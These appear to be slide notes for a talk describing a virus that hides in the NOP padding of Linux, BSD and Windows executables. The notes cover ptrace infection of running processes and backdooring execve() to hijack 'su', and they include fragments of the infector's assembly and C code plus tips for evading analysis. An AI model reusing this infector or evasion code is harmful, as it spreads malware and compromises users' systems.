GIMP colorize: 27 94 24
------ 

So, what are we talking about? 

<screnshot: just to show nops>

------

You:
	&rarr; Should know some basic x86 assembly
	&rarr; Be familiar with UNIX system calls and their Windows equivalents

------

	&rarr; This may seem revolutionary and scary to some of you and to others it may
	seem simple, "done before" or may count what we will discuss as minor breakthroughs.
	&rarr; However, I'm going to do my best to go over the basics of the code as well as
	highlight how and why this is project is unique.

------

	&rarr; The idea came to us after I'd written an ELF static linker (for the assembler I was writing.)
	&rarr; With this new creation, I used it to play with self-replicating code a bit and in a discussion
	  between Jack and I, he suggested a technique for injecting viral code into executables which would
	  require much less manipulation of the executable file format headers and eliminate the need to
	  modify the structure or size of the existing executable.

-----

	&rarr; The key observation that Jack made is that, in executables, between functions there are groupings
	 of NOP instructions used for padding the function to an aligned boundary. 
	&rarr; For data alignment 0x00 is used but for code alignment 0x90 (NOP) is used; so it's easy to find
	 these areas for infections and we know that these 0x90's are always in the executable segment.
	&rarr; We can overwrite these NOP instructions with our own code.

	 <screenshot: objdump -d for nops>
	 <code: objdump -d `which bash` | grep nop | wc -l>

-----

	&rarr; These pools of NOP instructions are never larger than 15.
	&rarr; So, instead of figuring out how to write a virus that was less than 16 bytes in length, we decided to use jump instructions to chain the
	 overwritten cavity together, giving our code a way to execute in-full.

-----

	&rarr; That's what I started to write, an executable infector in C.
	&rarr; I rewrote the infector in assembly; this time from the perspective of operating whilst hosted <i>inside</i> an executable.


-----

	&rarr; From there, the virus was made to be operating-system independant by adding a portable POSIX syscall
	API, gaining the ability to infect Linux, FreeBSD and Windows hosts. 

-----

	&rarr; For Linux, *BSD and Solaris, we added the ability to use the ptrace() API to infect other running
	 processes.
	&rarr; To be discuessed later, we also coded the ability to target shell processes and backdoor
	 their libc's execve() to scan for calls to su(1), passwd(1), etc.

-----

	<h1>Operating system-independant POSIX syscall API</h1>

-----

	ID OS
----
	&rarr; In Windows we use kernel32.dll's <b>LoadLibrary()</b> function to load msvcrt.dll.
	&rarr; 'msvcrt.dll' has much of the POSIX API that we need with a few exceptions

-----

	&rarr; If someone devels a heur. for this, then fine. It's not difficult to obfusciate this and to make potential infected executables
	a static anlyzers nightmare. 
	&rarr; For example, a simple thing to do would be to, instead of looking for the amount of nops you need, find space for one extra
	byte and throw in a random number. 
	&rarr; This way, the last valid instruction you will see is a 'ret' but if you inserted, directly after it an 0xe9 (jump with a 32-bit addr.)
	 then it would see your virus code as, partially, an address instead of a valid instruction after a 'ret' and before a function prologue. 
-----

	Windows mmap()

-----

	Socket API soon...

-----

	<h1>UNIX ptrace() infection</h1>

-----
	
	&rarr; What we've done here is taken the old idea of using ptrace() to attack applications and applied it to this virus. <br/>
	&rarr; The cool thing about our NOP-infection code is that it operats on any arbitarily sized data block; so, we can load
	 an executables .text from a file or using the ptrace() API to copy that .text segment into our memory space, modify it, and
	 write it back. <br/>
	&rarr; /proc for filename + read() =  faster. <br/>

-----

	&rarr; This part of the virus could be seperated and made it's own virus without NOP-stuff
	 using mmap() with PROT_EXEC and copy it's code into that allocation. 

-----

	<h2>Backdooring libc's execve() with ptrace()</h2>

-----

	The motivation behind this is best explained by an example: A user's web browser gets 
	exploited. The shellcode that the attacker runs gets the PIDs of running shells,
	attaches to them with ptrace() and backdoors their execve() in such a way that
	if the user were to execute the 'su' command, the backdoor would augment their arguments.
	The common single '-' argument to 'su' could be augmented to be "-c '/tmp/malcode;/bin/sh'"

-----

>> ELF DYN linker magic (thanks phrack article), etc.
>> find the byte pattern int $0x80 and movl __NR_EXECVE, %eax or whatever in opcode 

-----

overwrite first couple of bytes in execve to a jmp to our own COPY
of execve which does some other tricks before it actually executes the program.

-----

	<h1>Modularity</h1>

-----

	&rarr; The virus was written in such a way that people could write modules (compile them as objects, link them and
	 extract the opcode) and call functions in their modules at any time. 
	&rarr; Just call your module as a function, and from within it you can call other
	 functions in built-in modules.
	&rarr; Build-in any exploit you want

-----

	# "main" # # # # # # # # # # # # # # # # # # # # # # # # # # #  #
        call find_target
        pushl %eax				# A pointer to the pathname of an executable on disk

        call load_victim

        call count_nops
        call copy_sizes				# Copy the list of sizes of instructions from the old executable to the new
        call fix_fwd_jmps
        call fix_backwd_jmps                    # we also set the original entry point push in fix_backwd_jmps
                                                # becaut it's convenient
        call unload_victim			# write the data back to a file or maybe even ptrace()

	# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #  #

------
	
	&rarr; It's that easy. Keep in mind that load_victim could be a function to load the data from the file on disk,
	 from a given PID or whatever.
	&rarr; Usually this block is called in a loop for each PID or file found. 

-----

	<h1>NOP-infection algorithms</h1>

-----

	<h2>Fixing jumps</h2>

	&rarr; Since the distribution of our opcode through the file won't likely be the same from file to file
	 we must adjust the operand to every branch instructions.

-----

	<h2>Fixing jumps that jump foward:</h2>
	&rarr; The key to fixing jumps is keeping track of which instruction we are on and being able to easily navigate to them.
	&rarr; This is a similar idea to instruction set translation (eg. Rose.
	&rarr; We walk the instructions by knowing the size of each instruction.
	&rarr; In memory we have a copy of the previously infected .text and the [broken] new infected .text.
	&rarr; Walking the instructions in parallell in both data sets, when we see a jump (0xe9 or 0xe8) then we
	       do a calculation to determine what the operand of the jump should be by walking forward more, until the 'current'
	       pointer in the old executable is equal to the operand of the jump in question plus its address in that executable.
	&rarr; Now since we also have a 'current' pointer for the new executable being infected we can just do some basic subtraction
	      and realize the real distance and overwrite the jump's operand with that. 
	       
----- 

	<h2>Fixing jumps that jump backward:</h2>
	&rarr; Simultaneusly in the old file and the new file, walk each individual instruction
	&rarr; For each instruction, check if the distance between the beginning of it
	   and any jump instruction with a negative argument is equal to the absolute value
	   of the negative argument.
	>> If so, adjust the argument of that jump in the new file to the correct distance
	   backwards which, as a side effect of the above, is easy to calculate.

-----

        subl $0x600, %esp
        # All of the following offsets are off of the above %ebp
        .equ sb_st_size, -0x34
        .equ sb, -0x48
        .equ i, -0x4c
        .equ j, -0x50
        .equ n, -0x54
        .equ last, -0x58
        .equ lastJA, -0x5c			# the address of the operand of the last jump instruction
        .equ vstart, -0x60			# where the virus begins, and where the new e_entry should be
        .equ new_e_entry, -0x64                 # 'new' as in new host

        .equ newjmp_loc, -0x68			# for forward/backward jump calculations
        .equ oldjmp_loc, -0x6c			# 

        .equ jmp_dist, -0x74
        .equ oldopcode_pos, -0x78
        .equ oldopcode, -0x7c
        .equ newopcode_pos, -0x80
        .equ newopcode, -0x84
        .equ oldsizes_parity, -0x88
        .equ oldsizes_pos, -0x8c
        .equ oldsizes_cur, -0x90
        .equ oldsizes, -0x94
        .equ newsizes_pos, -0x98
        .equ newsizes_parity, -0x9c
        .equ newsizes_cur, -0xa0
        .equ name, -0x1a0

        .equ newsizes, -0x600			# From the old infected executable, we copy the instruction sizes
						#  to this allocation and later inser them into the new executable 
						#  one by one, just like we inject virus code.

-----

	<pre>
	void lay_down_sizes(unsigned char *map, struct q_item *q, int filesize, unsigned int vstart) {

        unsigned char *p = NULL;
        uint32_t *lastSzOff = NULL;
        uint32_t last;
        int i, n, s;

        p = map;

        for (i = 0, s = 0; i < filesize && sizes[s] != 0x0;) {
                for (; p[i] != 0x90; i++)
                        ;	/* Find some nops */

                for (n = 1; p[i + n] == 0x90; n++)
                        ;	/* Count how many */

                if (n >= 6) {
                        if (lastSzOff != NULL) {
                                *lastSzOff = i - last;
                        } else {
                                uint32_t *x = (uint32_t *)(map + vstart);
                                *x = i;
                        }

                        do {
                                p[i++] = sizes[s++];
                                n--;
                        } while (sizes[0] == 0x0 ? 0 : n >= 6);

                        if (sizes[0] != 0x0) {
                                p[i++] = 0x88; 	/* If this were the inject_nops() function then it would be 0xe9 for a jmp <32bitaddr> instead */
                                last = i + 4;
                                lastSzOff = (uint32_t *)&p[i];
                        }
                }

                i += n;
        }

}

	</pre>
-----

Let me just give out some statistics here:
	The basic unoptimized (for size) demo of the virus is about 1.5KB. This is just the academic version, written for
	 readability without concern for size constraints.
	Nops in things:
		bash: 4517
		vim: 12045
		postgres for ia32 Linux: 19132
		Adobe Acrobat for ia32 Linux: 38680
		UninstallFirefox.exe: 38634
		autoruns.exe: 106995
		explorer.exe: 444859
		procexp.exe: 499631
		regedit.exe: 51453
		MRT.exe: 896286

		kernel32.dll: 12717
		msvcrt.dll: 65
		libc.so.6: 13450

	From WindowsXP SP2 and Slackware 10.1.0
	note1: remember that not all NOPs are usable since some may only be 1 byte and we need a minimum of 6 bytes to insert
	 one instruction and it's jump for the jump-chaining.
	note2: freebsd uses 4-byte code alignment a lot of the time
-----

<insetrt jackfaceslidething>	

